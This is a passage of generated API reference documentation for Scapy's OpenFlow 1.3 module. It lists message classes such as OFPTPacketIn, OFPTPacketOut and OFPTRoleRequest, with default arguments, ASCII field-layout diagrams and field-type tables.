	<Flag 0 ()>



	flow_removed_mask_slave

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.openflow3.OFPTGetAsyncRequest(_pkt, /, *, version=4, type=26, len=8, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L3078-L3083]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTGetAsyncRequest                     


OFPTGetAsyncRequest fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	26



	len

	ShortField

	8



	xid

	IntField

	0















	
class scapy.contrib.openflow3.OFPTGetConfigReply(_pkt, /, *, version=4, type=8, len=None, xid=0, flags=0, miss_send_len=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1985-L1995]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |         MISS SEND LEN         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTGetConfigReply                      


OFPTGetConfigReply fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	8



	len

	ShortField

	None



	xid

	IntField

	0



	flags

	ShortEnumField

	0



	miss_send_len

	ShortField

	0















	
class scapy.contrib.openflow3.OFPTGetConfigRequest(_pkt, /, *, version=4, type=7, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1977-L1982]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTGetConfigRequest                     


OFPTGetConfigRequest fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	7



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow3.OFPTGroupMod(_pkt, /, *, version=4, type=15, len=None, xid=0, cmd=0, group_type=0, pad=0, group_id=0, buckets=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2112-L2128]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CMD              |   GROUP TYPE  |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            GROUP ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            BUCKETS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTGroupMod                         


OFPTGroupMod fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	15



	len

	ShortField

	None



	xid

	IntField

	0



	cmd

	ShortEnumField

	0



	group_type

	ByteEnumField

	0



	pad

	XByteField

	0



	group_id

	IntEnumField

	0



	buckets

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTHello(_pkt, /, *, version=4, type=0, len=None, xid=0, elements=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1604-L1611]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ELEMENTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OFPTHello                          


OFPTHello fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	0



	len

	ShortField

	None



	xid

	IntField

	0



	elements

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTMeterMod(_pkt, /, *, version=4, type=29, len=None, xid=0, cmd=0, flags=<Flag 0 ()>, meter_id=1, bands=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L3119-L3134]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CMD              |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            METER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BANDS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTMeterMod                         


OFPTMeterMod fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	29



	len

	ShortField

	None



	xid

	IntField

	0



	cmd

	ShortEnumField

	0



	flags

	FlagsField

	<Flag 0 ()>



	meter_id

	IntEnumField

	1



	bands

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTPacketIn(_pkt, /, *, version=4, type=10, len=None, xid=0, buffer_id=4294967295, total_len=0, reason=0, table_id=0, cookie=0, match=<OFPMatch  |>, pad=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2011-L2026]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BUFFER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TOTAL LEN           |     REASON    |    TABLE ID   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COOKIE                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MATCH             |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTPacketIn                         


OFPTPacketIn fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	10



	len

	ShortField

	None



	xid

	IntField

	0



	buffer_id

	IntEnumField

	4294967295



	total_len

	ShortField

	0



	reason

	ByteEnumField

	0



	table_id

	ByteEnumField

	0



	cookie

	LongField

	0



	match

	MatchField

	<OFPMatch  |>



	pad

	XShortField

	0



	data

	PacketField

	b''















	
class scapy.contrib.openflow3.OFPTPacketOut(_pkt, /, *, version=4, type=13, len=None, xid=0, buffer_id=4294967295, in_port=4294967293, actions_len=None, pad=0, actions=[], data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2064-L2077]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BUFFER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IN PORT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ACTIONS LEN          |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ACTIONS            |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTPacketOut                        


OFPTPacketOut fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	13



	len

	ShortField

	None



	xid

	IntField

	0



	buffer_id

	IntEnumField

	4294967295



	in_port

	IntEnumField

	4294967293



	actions_len

	FieldLenField

	None



	pad

	XBitField  (48 bits)

	0



	actions

	PacketListField

	[]



	data

	PacketField

	b''















	
class scapy.contrib.openflow3.OFPTPortMod(_pkt, /, *, version=4, type=16, len=None, xid=0, port_no=0, pad1=0, hw_addr='0', pad2=0, config=<Flag 0 ()>, mask=<Flag 0 ()>, advertise=<Flag 0 ()>, pad3=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2131-L2144]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PORT NO                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            HW ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CONFIG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ADVERTISE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD3                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPTPortMod                         


OFPTPortMod fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	16



	len

	ShortField

	None



	xid

	IntField

	0



	port_no

	IntEnumField

	0



	pad1

	XIntField

	0



	hw_addr

	MACField

	'0'



	pad2

	XShortField

	0



	config

	FlagsField

	<Flag 0 ()>



	mask

	FlagsField

	<Flag 0 ()>



	advertise

	FlagsField

	<Flag 0 ()>



	pad3

	XIntField

	0















	
class scapy.contrib.openflow3.OFPTPortStatus(_pkt, /, *, version=4, type=12, len=None, xid=0, reason=0, pad=0, desc=<OFPPort  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2051-L2061]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     REASON    |                      PAD                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DESC             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPTPortStatus                        


OFPTPortStatus fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	12



	len

	ShortField

	None



	xid

	IntField

	0



	reason

	ByteEnumField

	0



	pad

	XBitField  (56 bits)

	0



	desc

	PacketField

	<OFPPort  |>















	
class scapy.contrib.openflow3.OFPTQueueGetConfigReply(_pkt, /, *, version=4, type=23, len=None, xid=0, port=0, pad=0, queues=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L3047-L3056]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PORT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QUEUES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPTQueueGetConfigReply                   


OFPTQueueGetConfigReply fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	23



	len

	ShortField

	None



	xid

	IntField

	0



	port

	IntEnumField

	0



	pad

	XIntField

	0



	queues

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTQueueGetConfigRequest(_pkt, /, *, version=4, type=22, len=None, xid=0, port_no=4294967295, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L3037-L3044]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PORT NO                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OFPTQueueGetConfigRequest                  


OFPTQueueGetConfigRequest fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	22



	len

	ShortField

	None



	xid

	IntField

	0



	port_no

	IntEnumField

	4294967295



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPTRoleReply(_pkt, /, *, version=4, type=25, len=None, xid=0, role=0, pad=0, generation_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L3073-L3075]

	Bases: OFPTRoleRequest


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ROLE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         GENERATION ID                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTRoleReply                        


OFPTRoleReply fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	25



	len

	ShortField

	None



	xid

	IntField

	0



	role

	IntEnumField

	0



	pad

	XIntField

	0



	generation_id

	LongField

	0















	
class scapy.contrib.openflow3.OFPTRoleRequest(_pkt, /, *, version=4, type=24, len=None, xid=0, role=0, pad=0, generation_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L3059-L3070]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ROLE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         GENERATION ID                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPTRoleRequest                       


OFPTRoleRequest fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	24



	len

	ShortField

	None



	xid

	IntField

	0



	role

	IntEnumField

	0



	pad

	XIntField

	0



	generation_id

	LongField

	0















	
class scapy.contrib.openflow3.OFPTSetAsync(_pkt, /, *, version=4, type=28, len=32, xid=0, packet_in_mask_master=<Flag 0 ()>, packet_in_mask_slave=<Flag 0 ()>, port_status_mask_master=<Flag 0 ()>, port_status_mask_slave=<Flag 0 ()>, flow_removed_mask_master=<Flag 0 ()>, flow_removed_mask_slave=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L3114-L3116]

	Bases: OFPTGetAsyncReply


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     PACKET IN MASK MASTER                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      PACKET IN MASK SLAVE                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    PORT STATUS MASK MASTER                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     PORT STATUS MASK SLAVE                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    FLOW REMOVED MASK MASTER                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    FLOW REMOVED MASK SLAVE                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTSetAsync                         


OFPTSetAsync fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	28



	len

	ShortField

	32



	xid

	IntField

	0



	packet_in_mask_master

	FlagsField

	<Flag 0 ()>



	packet_in_mask_slave

	FlagsField

	<Flag 0 ()>



	port_status_mask_master

	FlagsField

	<Flag 0 ()>



	port_status_mask_slave

	FlagsField

	<Flag 0 ()>



	flow_removed_mask_master

	FlagsField

	<Flag 0 ()>



	flow_removed_mask_slave

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.openflow3.OFPTSetConfig(_pkt, /, *, version=4, type=9, len=None, xid=0, flags=0, miss_send_len=128)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1998-L2008]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |         MISS SEND LEN         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTSetConfig                        


OFPTSetConfig fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	9



	len

	ShortField

	None



	xid

	IntField

	0



	flags

	ShortEnumField

	0



	miss_send_len

	ShortField

	128















	
class scapy.contrib.openflow3.OFPTTableMod(_pkt, /, *, version=4, type=17, len=None, xid=0, table_id=0, pad=0, config=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2147-L2155]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TABLE ID   |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     CONFIG                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. OFPTTableMod                         


OFPTTableMod fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	17



	len

	ShortField

	None



	xid

	IntField

	0



	table_id

	ByteEnumField

	0



	pad

	X3BytesField

	0



	config

	IntEnumField

	0















	
class scapy.contrib.openflow3.OFPTableFeatures(_pkt, /, *, len=None, table_id=0, pad=0, table_name=b'', metadata_match=0, metadata_write=0, config=0, max_entries=0, properties=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2885-L2900]

	Bases: _ofp_header_item


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2899-L2900]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |    TABLE ID   |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TABLE NAME                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
